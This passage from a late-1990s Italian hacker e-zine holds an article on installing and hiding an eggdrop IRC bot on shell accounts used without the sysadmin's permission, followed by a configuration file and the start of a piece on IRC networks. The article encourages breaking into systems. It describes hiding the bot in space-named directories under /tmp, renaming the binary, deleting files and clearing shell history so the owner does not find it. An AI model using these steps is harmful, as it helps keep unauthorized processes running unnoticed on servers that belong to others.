BE FREE. Diventate Hacker, producete Hacker. iNTRODUZIONe: ============= Sono ben lieto di poter collaborare, se pur concisamente, alla realizzazione di questa e-zine. Per questo che voglio ringraziare pubblicamente lo zio Nobody. Sono un recente 'smanettino', nel senso che non ho mai avuto il tempo per approfondire l'hacking. Bazzico tra un modem e l'altro da circa 10 anni. Chi conosce la PNet forse si ricordera' dello Zio Sciack. Comunque non ha importanza. :-)) Ora iniziamo... Inizialmente mi avevano chiesto di scrivere un articolo su come NASCONDERE un eggdrop; ma a motivo di una maggiore chiarezza di questa trattazione, ho preferito includere una parte per ricordare anche come lo si installa. Spero che per questo non mene voglia il collega che ha precedentemente trattato l'argomento (Jack!!). cOS'E` UN BOt?: =============== Molto semplicemente con il termine BOT si definisce, abbreviandolo, un altro termine, cioe' ROBOT, quindi, un automatismo, un programma che fa per voi quello che dovreste fare voi ma che forse, non POTETE fare, per una serie di ovvi motivi, vedi ad esempio gli alti costi di connessione (grazie telecoz!), oppure per il semplice fatto di non possere a casa una linea CDN dedicata che permetta al vostro computer di starsene on-line tutto il giorno [lo sapevate che in canada costa 30$ al mese una cdn?]. >>>>>>>> vedi http://www.notut.org <<<<<<<<<< Abbiamo quindi detto che il BOT e' un nostro programmino che ci aiuta a svolgere dei compiti quando noi non possiamo essere li' a farli o per altre semplici comodita'. Come saprete gia', quindi, il loro massimo impiego lo hanno all'interno delle famose rete di chatting, quali ad esempio IRCNet; ovviamente per mantenere attivo un proprio canale, ma non solo per quello... Vediamo! eGGDROp: ======== Eccolo qui! E' lui! E' il BOT! O meglio, e' UN bOt; si', perche' ce ne sono tanti, addirittura ne ho provato uno semplice semplice fatto da un italiano, si chiama Megalobot (se non sbaglio?!). Noi pero' ci concentreremo sulla messa in opera dell'eggdrop. Non perche' sia piu' semplice, anzi (RedXIII, McFly: che ne dite, eh??), ma piuttosto perche' e' il piu' utilizzato, quello con piu' possibilita' di personalizzazione, e SOPRATTUTTO quello che gira sul maggior numero di O.S. (slurp!) Di eggdrop ce ne sono diverse versioni. "Embe', basta piazzarci l'ultima versione, no?". Diremo di no. "Ehy, ma perche'? A me piace essere un tipo aggiornato?". Continueremo a dire di no. Infatti ho notato che ogni versione di eggdrop non solo fa qualche passo in avanti nel senso di eliminare qualche bug ma, purtroppo, cambia anche a livello di script (poi spiegheremo meglio); questo significa che uno script scritto per eggdrop 1.1.5 non funzionera' piu' con un'altra versione dello stesso eggdrop. Non che il problema sia insormontabile ma, dato che [si' lo confesso], non ho avuto il tempo di studiarmi bene il nuovo eggdrop 1.3.x, allora in questa trattazione prenderemo in considerazione la versione 1.1.5. Che comunque ha anche il pregio di essere disponibile in diverse versioni, anche precompilate, per altrettanti O.S. l'OBIETTIVo: ============= Prima di cominciare dobbiamo porci il nostro obbiettivo, o nostro target. Che vogliamo fare? Poter installare un BOT per mantenere aperto e gestire gli op del canale #hackit [esiste gia' e vi invito caldamente a farci visita]. Ma non solo, vorremmo anche far si' che ci resti, o meglio, che nessuno osi a cancellarcelo. Questo si rende necessario allorche' il nostro bel BOTtino e' piazzato su di un server senza la debita autorizzazione del sysadmin ( !superflua! :-). Tanto quale hacker metterebbe mai un BOT su di una shell a pagamento? Giammai! eheh :-)) Comunque se ancora non avete una shell vi consiglio di trovarvela al piu' presto. Se proprio siete disperati forse potreste trovare questo sito interessante, anche se non garantisco: >>>>>>>>> http://. (scusatemi ma si e' cancellato il bookmark!!) <<<<<<<<<< ....ma preferibilmente bucate gente, bucate e bucate! iNSTALLAZIONe: ============== Ora passiamo alla vera e propria messa in scena del nostro bel programmino. Prima di tutto dobbiamo avere la shell, come detto precedentemente, funzante e stabilire quale O.S. vi sta girando. Nei sistemi unix bastera' digitare quanto segue: ...shell#] uname -a Linux sciacknet 2.2.6 #4 SMP Sat Apr 17 19:07:26 CEST 1999 i586 unknown ...shell#] Questo ovviamente, come avrete notato, e' l'output di uname sulla mia macchina. Sappiamo cosi' che O.S. sta girando, Linux, e che versione del kernel, la 2.2.6! (si' a me piace essere aggiornato [8-)] Bene, a questo punto non ci resta che scegliere se installare una versione precompilata (solo l'eseguibile) oppure (se abbiamo la possibilita' di compilare e quindi fare uso di gcc (o cc), make, autoconf, etc...) utilizzare una versione in formato sorgente da compilarci con comodo sul nostro caro serverino. In ogni modo abbiamo bisogno di questo indirizzo: >>>>>>>>>>> http://indirizzo (IDEM COME SOPRA...hihi:-) <<<<<<<<<<<<<<<< Nel caso abbiamo scelto per motivi di gioco-forza di installare la versione precompilata possiamo passare dunque alla prossima sezione di questa trattazione. Invece se vogliamo installare la nostra versione di eggdrop 1.1.5 e compilarla in remoto dovremo procedere in questo senso: 1) Procurarci il file eggdrop1.1.5.tar.gz (vedi sito sopra) 2) Collegarci al sito remoto via ftp e uploadarci il nostro .gz (se siete sotto unix consiglio IglooFtp... ci potete piazzare pure il proxy per nascondervi)/ Oppure potete una volta che siete entrati nella 'vostra' (sigh!) shell, fare un ftp specificando il sito dove si trovare eggdrop e quindi scaricarvelo direttamente da li'. Boh.. fate voi.. l'importante e' che non lasciate VOSTRE tracce! (ricordatevi unset history.. bla bla bla.. ok?) 3) Posizionarci in una dir dove avete l'accesso in scrittura ad esempio: /tmp (tutti gli user possono scriverci) oppure la dir /home/nome_user. 4) Farci una dir moolto sicura e nascosta. Io consiglio: [email protected]:~# cd /tmp [email protected]:/tmp# mkdir ". " <--- due spazi [email protected]:/tmp# cd ". " dove ------^ significa dir nascosta [email protected]:/tmp/. # tar zxvf /dove/sta/egg/eggdrop1.1.5.tar.gz 5) Entriamo nella dir che verra' creata e lanciamo ./configure questo permettera' al programma di comprendere su che sistema sta girando, se Linux, BSD, SunOs, etc... 6) Poi se non abbiamo ricevuto strani errori possiamo finalmente compilare l'eggdrop dando il comando: make eggdrop 7) Infine installiamo il tutto con il prg.: putegg "/tmp/. " 8) Ora cancelliamo la dir che il tar aveva creato con un rm -rf eggdrop1.1.5 (beh, prima usciamo dalla directory :-) 9) Rinominiamo il file eseguibile eggdrop (da troppo nell'occhio) mv eggdrop ". " <-- Stavolta uno spazio solo 10) Cancelliamo tutto cio' che non ci serve.. README, eggdrop.conf, etc... 11) Piazziamo ora il nostro script, che avremo precedentemente fatto [vedi sezione apposta], chiamandolo con un nome piuttosto anonimo p, m, a, rv, etc... oppure, consigliato, ". " <------ tre spazi sta volta 12) Se e' tutto ok, allora possiamo lanciare l'eggdrop: [email protected]:/tmp/. /# ./". " -m script (p, m, ". ", etc..) Se e' andato tutto bene allora comparira' una scritta che ci segnalera' l'avvenuto lancio del nostro eggdrop, in background, e che e' in attesa di un messaggio in IRC, da parte nostra, per poter stabilire che siamo noi l'owner (o il proprietario) del BOT. Inoltre ci verra' fornito il numero di pid (process id). Questo e' estremamente utile se vogliamo, via telnet, killare il nostro BOT, bastera' infatti un 'kill -9 num_pid' per 'uccidere' il nostro BOT. Oppure un kill -HUP num_pid per riavviarlo. Comunque in ogni caso verra' creato un file nella directory di eggdrop, con un nome di questo genere: 'pid.nome_tuo_bot' nel cui contenuto e' segnato l'ultimo pid assegnato al programma. Bastera' infatti un semplice cat pid.nome_tuo_bot per, se eventualmente non ce lo ricordassimo, rievocarci il numero di tale processo. dAL CLIENT IRc: =============== Ora che finalmente abbiamo un bel BOTto funzante, possiamo quindi gestirlo abilmente dal nostro client IRC (BitchX, Kvirc, mIRC, etc). Come? Per prima cosa dobbiamo dirgli che siamo noi il master supermo! Allora, per fare questo, dovremmo inviargli un messaggio (solo la prima volta) deltipo: '/MSG nome_bot hello'. Dopo poco ci rispondera' il BOT, identificandoci come master e owner del BOT. A questo punto prima di passare a dare comandi, abbiamo bisogno di impostare una 'password di sicurezza'. Faremo questo con il seguente comando: '/MSG nome_bot PASS nostra_password'. Ora il momento (finalmente!) di passare in dcc/chat e 'parlare' direttamente con il nostro amato BOT, grazie alla cosiddetta party line. Inseriamo la password e ci troveremo faccia a faccia con il 'bambino', si' proprio bambino...perche' ORA gli dovremo insegnare proprio a vivere.. a capire.. a FARE! Come? .... leggetevi la documentazione !! Ehehe :-)) Oppure se ne riparla in un prossimo articolo :-)) Oppure: http://..............eheh :-)) cONFIGURARE LO SCRIPt: ====================== Lo script dell'eggdrop e' il BOT a tutti gli effetti! E' il cuore del nostro 'bambino', nello script diciamo come si chiamera' il BOT, che abitudini avra', quali server irc chiamera', e tanti altri particolari. Andiamo velocemente a descrivere un classico file di script: (consiglio: fatelo prima in locale poi scaricatelo sul 'vostro' server :-)) #!/tmp/. / # ^^^^^^^^^^--------- Qui ci piazziamo la directory del nostro eggdrop # # The Sciack Eggdrop Configuration File v. 1.1 # # --->> SOLO ED ESCLUSIVAMENTE PER EGGDROP 1.1.5 <<--# # NoCopyright 1999 (c) Needed, # All rights are Free # # Questo e' un esempio di file di configurazione per il tuo bot. # ##### cOSE GENERALi ##### # le info che si vedranno quando si usera' il comando /whois set set set set nick "^ChiaRa" altnick "|chiara|" username "|chiarA|" realname "La Chiara" ;# bel nome, eh? ;# altro nick, se il primo e' in uso ;# ...boh fate voi ... # Chi lancia il bot? set admin "Sciack" # [0/1] lascia gli utenti presentarsi al bot con un semplice 'hello'? # E' utile. Per aggiungere altri utenti al bot. set learn-users 1 # Invece di usare un semplice 'hello' si puo' decidere di cambiare parola # ...... #unbind msg - hello *msg:hello #bind msg - mia_parola *msg:hello # # # # La lista dei server -- il bot provera' a connettersi ai server della lista incominciando dall'alto verso il basso. Ovviamente assicuratevi che i server accettino i login, altrimenti eliminateli potrebbero far perdere del tempo prezioso al vostro bot set servers { irc.stealth.net:6667 irc.cifnet.com:6667 irc.anet.com:6667 irc.webbernet.net:6660 irc.uni-erlangen.de:6667 ircnet.sprynet.com:6667 irc.flashnet.it:5000 irc.ircit.net:4040 irc.tin.it:6667 irc.ccii.unipi.it:6666 flute.telstra.net.au:6665 } yoyo.cc.monash.edu.au:6668 irc.usyd.edu.au:6667 ircnet.idirect.ca:6667 irc.wu-wien.ac.at:6666 irc.dinf.vub.be:6667 irc.span.ch:6667 irc.felk.cvut.cz:6667 irc.fu-berlin.de:6665 irc.uni-stuttgart.de:6665 irc.dknet.dk:6667 irc.estpak.ee:6667 irc.stealth.net:6667 luisvive.euiti.upv.es:6667 irc.cs.hut.fi:6667 irc.eurecom.fr:6667 irc.enst.fr:6667 sil.polytechnique.fr:6667 irc.ee.auth.gr:6666 irc.bme.hu:6667 irc.tau.ac.il:6667 irc.isnet.is:6667 irc.lvnet.lv:6667 irc.nl.net:6663 irc.xs4all.nl:6660 irc.sci.kun.nl:6663 irc.ifi.uio.no:6667 irc.pvv.unit.no:6667 irc.msu.ru:6667 irc.ludd.luth.se:6668 chat.bt.net:6664 ircnet.demon.co.uk:6665 irc.netcom.net.uk:6667 irc.tokyo.wide.ad.jp:6667 irc.silicon.net.my:6667 irc.mol.net.my:6667 ircnet.irc.aol.com:6667 irc.ncal.verio.net:6667 # che porta usare se con .jump non la specifichiamo? set default-port 6667 # Poco importante, comunque indicate quale rete IRC usate set network "IRCnet" # Anche se tutti i server sono 'down' continua a cercare di connettersi? set never-give-up 1 # Quanti secondi deve aspettare il nostro bot dopo esserci collegato # prima di iniziare ad essere operativo? set server-timeout 15 # if the number of servers on the net gets below this number, it will # jump to a new server (ie, it will assume it's on the losing end of a # netsplit) -- set to 0 to turn off # [most irc networks use TS now, so it's to your advantage to turn this off] set servlimit 0 # Se e' stato impostato il l'altnick come nick a motivo del fatto che era gia' # in uso, prova a riottenere il proprio nick dopo, ok? set keep-nick 1 # Abilita gli utenti a salvare una linea di info nel log file? set use-info 1 # [0/1] if this is set, a leading '~' on user@hosts WON'T be stripped off set strict-host 0 # Sotto quale timezone apparteniamo? set timezone "GMT+1" # Esistono molte variabili per migliorare la presentabilita' del nostro bot # ctcp-version, ctcp-finger, and ctcp-userinfo. Puoi usare il comando set # per impostarele a tuo piacimento. set ctcp-version "Mundus vult decipi" set ctcp-finger "What do you find? nothing..." set ctcp-userinfo "Mundus vult decipi" ##### pROTEZIONe DEL CANALe ##### # Fate cosi' per ogni canale 'statico' vogliate impostare: # Comunque consiglio di fare piu' canali dinamici direttamente # dalla party line e poi salvarli con il comando .chansave channel add #hackit { chanmode "+nst-likm" idle-kick 0 need-op { putserv "PRIVMSG #hackit :op me please!" } need-invite { putserv "PRIVMSG #hackit :let me in!" } need-key { putserv "PRIVMSG #hackit :let me in!" } need-unban { putserv "PRIVMSG #hackit :sbannatemi please!" } need-limit { putserv "PRIVMSG #hackit :let me in!" } } # Le cose all'interno delle { } si chiamano: CHANNEL OPTIONS -# le quali possono essere settate con il comando "channel add", o utilizzando # anche "channel set", come nell'esempio che segue. # # # # # # # # # # # # # # # # # # # # chanmode Quale modo 'forzare'? Con il '+' verra' aggiunto, e con il '-' verra' tolto. idle-kick Cacciare i memberi del channel dopo quanti minuti di inattivita'? (non metterlo oppure settarlo a 0 per disabilitarlo) need-op Script da lanciare (se si vuole) quando il bot vuole essere 'oppato' su questo canale. need-invite Script da lanciare (se si vuole) quando il bot e' chiuso (+i) fuori dal canale. need-key Script da lanciare (se si vuole) quando il bot e' chiuso dal canale, ma perche' e' sprovvisto della 'chiave'. need-unban Script da lanciare (se si vuole) quando il bot viene bannato dal canale need-limit Script da lanciare (se si vuole) quando il bot viene chiuso fuori perche' l'afflusso limite di membri nel canale e' al sua massimo. # N.B.: I comandi "need-op", "need-invite", etc, sono limitati a 120 caratteri, # cosi' se volete che siano un po' piu' complicati, scrivetevi una procedura, # e fategli chiamare tale procedura! # Ci sono un mucchio di altre opzioni che possono essere abilitate (+) o # disabilitate (-) su ogni canale. Ad esempio per abilitare l'opzione autoop: # +autoop # per disabilitarla, mettere: # -autoop # Cancellare la lista dei bannati quando il bot entra nel canale? # (ad esempio, per forzare che la lista dei bannati del channel coincida # con quella del bot) channel set #hackit +clearbans # # Quando si setta un ban, cacciare la gente che e' gia' nel canale e quindi confrontarla con la nuova 'lista dei bannati' ? channel set #hackit +enforcebans # Attivare il ban solo quando e' necessario? # Consigliabile. channel set #hackit +dynamicbans # Permette che i 'ban' vengano messi direttamente dagli utenti? # (se disabilitato questo sara' possibile farlo solo dalla console del bot) channel set #hackit +userbans # # Oppare gli utenti con il 'flag' +o (op) il piu' presto possibile da quando sono entrati nel canale? channel set #hackit +autoop # Lascia che solo gli utenti con il 'flag' +o (op) siano 'operatori del # canale' ? channel set #hackit +bitch # Mostra una riga di informazione sull'utente che entra nel canale? channel set #hackit +greet # Rioppa un utente con il 'flag' +o (op) se venisse deoppato? channel set #hackit +protectops # Informa dello stato dei canali ogni 5 minuti? (a qualcuno questa opzione # potrebbe annoiare un po'; ma penso che sia utile) channel set #hackit -statuslog # Deoppa chi entra nel canale come op (es, netsplit) quando, pero', # non lo era prima dello split? channel set #hackit +stopnethack # Ricorda le persone che hanno deoppato/kickkato/bannato il bot # o un operatore, e punirli? # Gli utenti con il 'flag' +f (friend) sono esclusi dal 'revenge'. channel set #hackit +revenge # Paranoici della sicurezza?? channel set #hackit +secret # Condividi le info dell'utente per questo channel? channel set #hackit -shared # Ecco un breve esempio: #channel add #hackit { # chanmode "+nst-likm" # idle-kick 0 #} ##### # # # # LOG FILES ##### Puoi avere piu' di 5 file di log. Alla mezzanotte di ogni giorno i vecchi file saranno rinominati e ne verranno creati dei nuovi. Di default, i vecchi file vengono chiamati "(nomedelfilelog).yesterday", e ogni file log precedente verra' cancellato. # Gli eventi sono catalogati in certe categorie -- in questo modo puoi # specificare esattamente che genere di eventi vuoi indirizzare ai vari # file di log. Gli eventi sono: # m msg/ctcp privati al bot # k kickkate, bannate, e altri cambiamenti di 'modo' sul canale # j joinnate(entrate), part, netsplit sul canale # p 'chattate' pubbliche sul canale # s connessioni/disconnessioni/notizie da/al server # b informazioni circa i collegamenti tra bot e le condivisioni utenti # c comandi utilizzati (via msg o dcc) # x trasferimento di file e comandi riguardanti l'area file # r (se definito nel file eggdrop.h) OGNI COSA mandata al bot dal server # o oltre cose: misc, errori -- COSE IMPORTANTI # # # # # # # # # w wallops: msgs between IRCops (be sure to set the bot +w in init-server) NON HO PIU' VOGLIA DI TRADURRE !! IMPARATE L'INGLESE!! each logfile also belongs to a certain channel. events of type 'k', 'j', and 'p' are logged to whatever channel they happened on. most other events are currently logged to every channel. you can make a logfile belong to all channels by assigning it to channel "*". there are also five user-defined levels ('1'..'5') which are used by Tcl scripts. # in 'eggdrop.log' put msgs, commands, and errors from any channel: logfile mkco * "egg.log" # in 'lame.log' put joins, parts, and mode changes from #lame: logfile jk #hackit "hackit.log" # [0/1] timestamp entries in the log file? (generally a good idea) set log-time 1 # [0/1] keep logfiles for more than 48 hours -- instead of being called # "(logfilename).yesterday", the log files are named by the current date, # and kept around forever (eventually your directory might get full, so # be careful with this!) set keep-all-logs 0 # once a day the logfiles are switched out and started fresh -# this specifies when that should happen (in military time) # [note that a leading 0 will make Tcl think this is an octal value, # something you probably don't want.] set switch-logfiles-at 300 # this is the default console mode -- what masters will see automatically # when they dcc chat with the bot (masters can alter their own console # flags once they connect, though) -- it uses the same event flags as # the log files # (note that the console channel is automatically set to your "primary" # channel -- the one you defined first in this file. masters can change # their console channel with the '.console' command, however.) set console "mkcobxs" ##### FILES AND DIRECTORIES ##### # the userfile: where user records are stored set userfile "^ChiaRa.user" # the notefile: where private notes between users are stored set notefile "^ChiaRa.user.notes" # maximum number of notes to allowed stored for each user # (to prevent flooding) set max-notes 50 # where the help files can be found (and there are plenty) set help-path "help/" # where miscellaneous info files are set text-path "text/" # a good place to temporarily store files (ie: /tmp) set temp-path "/tmp" # the MOTD is displayed when people dcc chat to the bot. # check 'help set motd' for tons of motd options. set motd "motd" ##### FILE SYSTEM ##### # the file transfer area works via dcc chat. you can turn the file system # off by not defining the 'files-path' below. # this is the 'root' directory for the file system (set it to "" if you # don't want a file system) set files-path "" # if you want to allow uploads, set this to the directory uploads should be # put into set incoming-path "/tmp/. /incoming" # [0/1] alternately, you can set this, and uploads will go to the current # directory that a user is in set upload-to-pwd 0 # eggdrop creates a '.filedb' file in each subdirectory of your dcc area, # to keep track of its own file system info -- if you can't do that (like # if the dcc path isn't owned by yours) or you just don't want it to do # that, specify a path here where you'd like all the database files to # be stored instead (otherwise, just leave it blank) set filedb-path "" # set maximum number of people that can be in the file area at once # (0 to make it effectively infinite) set max-file-users 20 # set maximum number of simultaneous downloads to allow for each user set max-dloads 3 # set the block size for dcc transfers (ircII uses 512 bytes, but admits # that may be too small -- 1024 is standard these days) # set this to 0 to use turbo-dcc (recommended) set dcc-block 0 # maximum allowable file size that will be received, in K # (default is 1024K = 1M) set max-filesize 1024 # [0/1] copy files into the /tmp directory before sending them? this is # useful on most systems for file stability. (someone could move a file # around while it's being downloaded, and mess up the transfer.) but if # your directories are NFS mounted, it's a pain, and you'll want to set # this to 0. set copy-to-tmp 1 ##### # # # # # STARTUP ##### You MUST remove that line for this config file to work. This has been added to prevent you from starting up a bot that is not fully configured. Bots that have not been fully configured may join the wrong IRC network, the wrong channels, or generally do things that you do not want. Please make sure that you have double-checked the settings you want. ##### MODULES ###### # # this is only relevant to people who compiled with modules support # ##### IF YOU USE MODULES AND DONT READ THIS YOU ARE A TOTAL WAD ##### # # choose your encryption method now, 'cause once it's there it aint # changing till you get a new userfile, capish? at this stage that leaves # you with one option: blowfish # uncomment this line to load blowfish #loadmodule blowfish # #uncoment this line to load assoc support #loadmodule assoc # #uncoment this line to load the file system module #loadmodule filesys # ##### END OF IMPORTANT STUFF ##### BOTNET ##### ##### # you probably shouldn't deal with this until reading 'botnet.doc' or # something. you need to know what you're doing. # if you want to use a different nickname on the botnet than you use on # IRC, set it here: #set botnet-nick "LlamaBot" # what telnet port should this bot answer? # NOTE: if you are running more than one bot on the same machine, you will # want to space the telnet ports at LEAST 5 apart... 10 is even better listen 3343 all # if you would rather have one port for the botnet, and one for normal # users, you will want something like this instead: #listen 3333 bots #listen 4444 users # note: there are more options listed for the listen command in # doc/tcl-commands.doc # [0/1] share user data with other bots on the channel? set share-users 0 # [0/1] share user greets with other bots on the channel if shareing user data? set share-greet 0 # [0/1] allow other bots userfiles to overwrite yours? set passive 0 # [0/1] users with the +o (global op) flag will still need the +p (party # line) flag to join the dcc chat party line? set require-p 0 # [0/1] allow people to telnet in, type 'NEW', and become a new user? set open-telnets 0 # how long (in seconds) should i wait for a connect (dcc chat, telnet, # relay, etc) before it times out? set connect-timeout 15 ##### MORE ADVANCED STUFF ##### # are you behind a firewall? uncomment this and specify your socks host #set firewall "proxy:178" # or, for a Sun "telnet passthru" firewall, set it this way # (does anyone besides Sun use this?) #set firewall "!sun-barr.ebay:3666" # if you're using virtual hosting (your machine has more than 1 IP), you # may want to specify the particular IP to bind to. you can specify # either by hostname or by IP. you may also want to set the hostname # here if eggdrop has trouble detecting it when it starts up. (it will # let you know if it has trouble -- trust me.) #set my-hostname "virtual.host.com" #set my-ip "99.99.0.0" # # if you have a NAT firewall (you box has an IP in one of the following # ranges: 192.168.0.0-192.168.255.255, 172.16.0.0-172.31.255.255, # 10.0.0.0-10.255.255.255 and your firewall transparently changes your # address to a unique address for your box.) or you have IP masquerading # between you and the rest of the word, and /dcc chat,/ctcp chat or # userfile shareing arent working. Enter you outside IP here, and # #define HAVE_NAT in eggdrop.h # Do not enter anything for my-ip or my-hostname. #set nat-ip "127.0.0.1" # if you want all dcc file transfers to use 1 particular listening port # (this pretty much limits you to one concurrent file transfer at a time), # either because you're behind a firewall, or for other security reasons, # set it here #set reserved-port 9076 # if you want to dynamically change channel settings, and have them saved # for next time the bot restarts, define this filename ( the filename # you set here *MUST* exist else the bot won't load. Just create an empty # file for this to work) #set channel-file "LamestBot.chan" # script to run (if any) when first connecting to a server set init-server { putserv "MODE $botnick +iw-s" } # how many msgs in how many seconds from the same host constitutes a flood? set flood-msg 5:60 # how many public msgs in how many seconds? set flood-chan 10:60 # how many joins/nick changes in how many seconds? set flood-join 5:60 # how many CTCPs in how many seconds? set flood-ctcp 3:60 # temporary bans will last how many minutes? set ban-time 120 # temporary ignores will last how many minutes? set ignore-time 15 # normally the user file is saved once an hour, on the hour # you can change that here (for example, "20" means to save every # hour at 20 minutes past the hour) set save-users-at 00 # normally users are notified once and hour, on the hour, if they have any # notes on the bot. You can change that here (for example, "15" means to # notify every hour at 15 minutes past the hour) set notify-users-at 00 # send a note to anybody when I learn new users? set notify-newusers "HQ" # if compiled with owner, the following user(s) will ALWAYS have the # owner (+n) flag set owner "Sciack, skk" # what flags should new users get as a default? # check 'help whois' for tons of motd options. set default-flags "px" # what user-defined fields should be displayed in a '.whois'? # this will only be shown if the user has one of these xtra fields # set with 'user-set'. set whois-fields "url birthday" # some networks allow you to stack lots of channel modes into one # line. as of november 1996, the major networks allowed: # EFnet 4 # IRCnet 3 # Undernet 6 # Dalnet 6 # they're all guaranteed to support at least 3, so that's the default, # but if you know your network supports more, you may want to adjust # this value. this value must be less that or equal to 6. set modes-per-line 3 # maximum number of lines to queue to the server. # if you're going to dump large chunks of text to people over irc, you # will probably want to raise this -- most people are fine at 300 though set max-queue-msg 300 # time (in seconds) to wait for someone to return from a netsplit set wait-split 300 # time (in seconds) that someone must have been off-channel before # re-displaying their info set wait-info 180 # time (in seconds) that a dcc file transfer can remain inactive # before being timed out set xfer-timeout 300 # time (in days) to let stored notes live before expiring them set note-life 60 ##### SCRIPTS ##### # load that toolkit of useful scripts (some script packages may depend # on this being loaded) source scripts/toolkit.tcl # these are some commonly loaded (and needed) scripts. source scripts/toolbox.tcl source scripts/action.fix.tcl Bene, questo e' quanto. Ora avete una shell (speriamo), l'eggdrop installato, lo script (... il mio ...), insomma: tutto quello che vi serve!! Forse avete bisogno solo di un po' di fortuna... e, mettendo in pratica i consigli che abbiamo gia' detti, dovremmo riuscire a mantenere il BOT per un po' di tempo... forse tanto tempo! Un ultima cosa: a volte i sysadmin cancellano la dir /tmp, periodicamente, forse perche' sanno che c'e' il pericolo, o forse semplicemente per 'manutenzione', in ogni caso, potrebbe essere piu' saggio piazzare il BOT in un altra dir dove si hanno i permessi di scrittura. Vedete un po' voi. sALUTi: ======= Finalmente siamo arrivati alla fine, non che io mi sia annoiato, ma forse perche' VOI lo sarete :-)) Spero di no... Volevo ringraziare chi mi ha dato la possibilita' di scrivere questo articolo, quindi Nobody... e comunque tutti quelli che mi vogliono bene, tra i primi OVVIAMENTE cito il dio Samron... eheh :-)) Saluti e baci alla D.i.B. Cr3W... la mitica e inimitabile DIB (http://come.to/dib), li conoscete? Alla prossima. The Sciack ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ IRC NETWORKS ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ <-<-[ IRC Networks ]->-> Oki doki belli! I'm returned! In kuesto grosso doc tratteremo di due argomenti molto importanti: dar• un infarinatura generale sulla struttura di un server e sulle varie reti che offrono servizi diversi da IRCnet... (leggasi Dalnet, AzzurraNet e Undernet) <-<-[ KreditZ ]->-> Giusto prima di kominciare voglio dare un paio di kreditZ a tutta la gente ke non ho mai salutato, ma ke mi ha sempre aiutato, supportato e anke sopportato ;) Ekkovi l'elenko... Mmilo, il grande Maestro Cloud, il mio pi— grande amico "reale" G18, per il suo mitiko e potentissimo script (altro ke Bisnuke, PiZza ecc.) oneb0y, Fragola, Fabryx, Cleindori, per essere miei amici (one d'estate vengo) Paperino, per essere uno dei miei migliori amici su irk... (Anci ruleZ!) N0bodY88, per essere un mio supporter (mi aspetto un bell'ndN0bodY!) ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ndN0bodY = cax e mo che scrivo???? CIAO MAMMA!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ]-Ard-[, per essere il mio mito personale! LeoMar, per esistere! ]|KuBoZ|[ & YAMAZAKI & Steeve, per essere i kompagni pi— simpatici ke si possano trovare in giro... Radio 105, le Merit, il Glen Grant & il mio lettore Cd: per avermi tenuto compagnia... Infine riservo un pikkolo ma non meno importante kreditZ a un amikone, ke purtroppo non vedo spesso n‚ su irk n‚ dal vivo: CyberAle TORNA KON NOI!! -----------------------------------------------------------------------------End of prologue...now the really g00d things begin... -----------------------------------------------------------------------------Allora raga, avete letto i miei kreditZ e vi sarete stufati senza dubbio... Perci• iniziamo, inanzitutto definizione di server IRC: Un server Š un programma che manda dati precisi ad un altro programma, detto client, il quale interpreta i dati mandati dal server e vi da accesso a determinate funzioni. Nel caso di un server IRC, vengono mandati diversi dati che indicano i nick presenti su un canale, le frasi dette, i cambi di nick e di mode ecc. Quindi questi dati una volta partiti dal server e giunti a destinazione (che sarebbe il nostro bel modem, che a sua volta li passa al client) vengono appunto interpretati dal client (solitamente il mIRC). Molto genericamente una struttura server/client per IRC funziona cos•: 1) Connessione TCP alla porta scelta (solitamente 6667) [piccola parentesi sulle astrazioni del TCP: ogni macchina connessa su Internet possiede un particolare numero a tre cifre detto IP; esso Š nella forma XXX.XXX.XXX.XXX dove alle X sostituite un numero che va da 1 a 255. Per evitare di dover fare molti computer diversi, ognuno connesso e quindi con un IP diverso, nel TCP/IP Š stata creata l'astrazione delle porte: infatti ogni computer con un IP ha anche diverse porte, e queste vengono aperte da determinati programmi, appunto i server, a cui poi il client si connette] 2) Appena la connessione viene stabilita, il server aspetta due comandi dal client: USER e NICK. Il primo introduce un host, il secondo un nick 3) Il client viene introdotto sulla rete IRC. Da questo momento in poi Š possibile joinare canali, fare query ecc. Ne avrete dedotto che un client altro non Š che una connessione su un server: e infatti io ho fatto delle prove in locale, e conoscendo la sintassi dei comandi Š possibile chattare via Telnet (eheheheh :) Il comando principale Š PRIVMSG: infatti con questo comando Š possibile chattare. La sintassi Š la seguente: PRIVMSG <destinatario> :<messaggio> il destinatario pu• essere o un canale (e in questo caso sar… preceduto da #) oppure un nick (senza #). Nel caso il dest. sia un nick si aprir… la famosa finestra di query. I due punti prima del messaggio non sono indispensabili, per• servono per potere mandare messaggi lunghi pi— di una parola. Se li ometterete infatti arriver… solo la prima parola del messaggio. Se volete approfondire le conoscenze teoriche sui server IRC, vi consiglio di scaricarvi l'RFC (Reference for Comments) numero 1459. Lo potrete trovare facendo un FTP search (http://www.ftpsearch.lycos.com) sul nome file RFC1459.ZIP o RFC1459.TXT Passiamo adesso a discernere sulle altre reti IRC: infatti non esiste solo IRCnet come alcuni pensano, ma esiste anche Dalnet, Undernet, AzzurraNet ecc. Io bazzico Undernet, ma non sono SpYmAsTeR perch‚ ce n'Š gi… uno. Per• il nick non ve lo dico, perch‚ su Undernet io sono un'altra persona ;) Comunque, inziamo con Dalnet e Azzurra: queste due reti usano al 99% lo stesso server irc (domanda 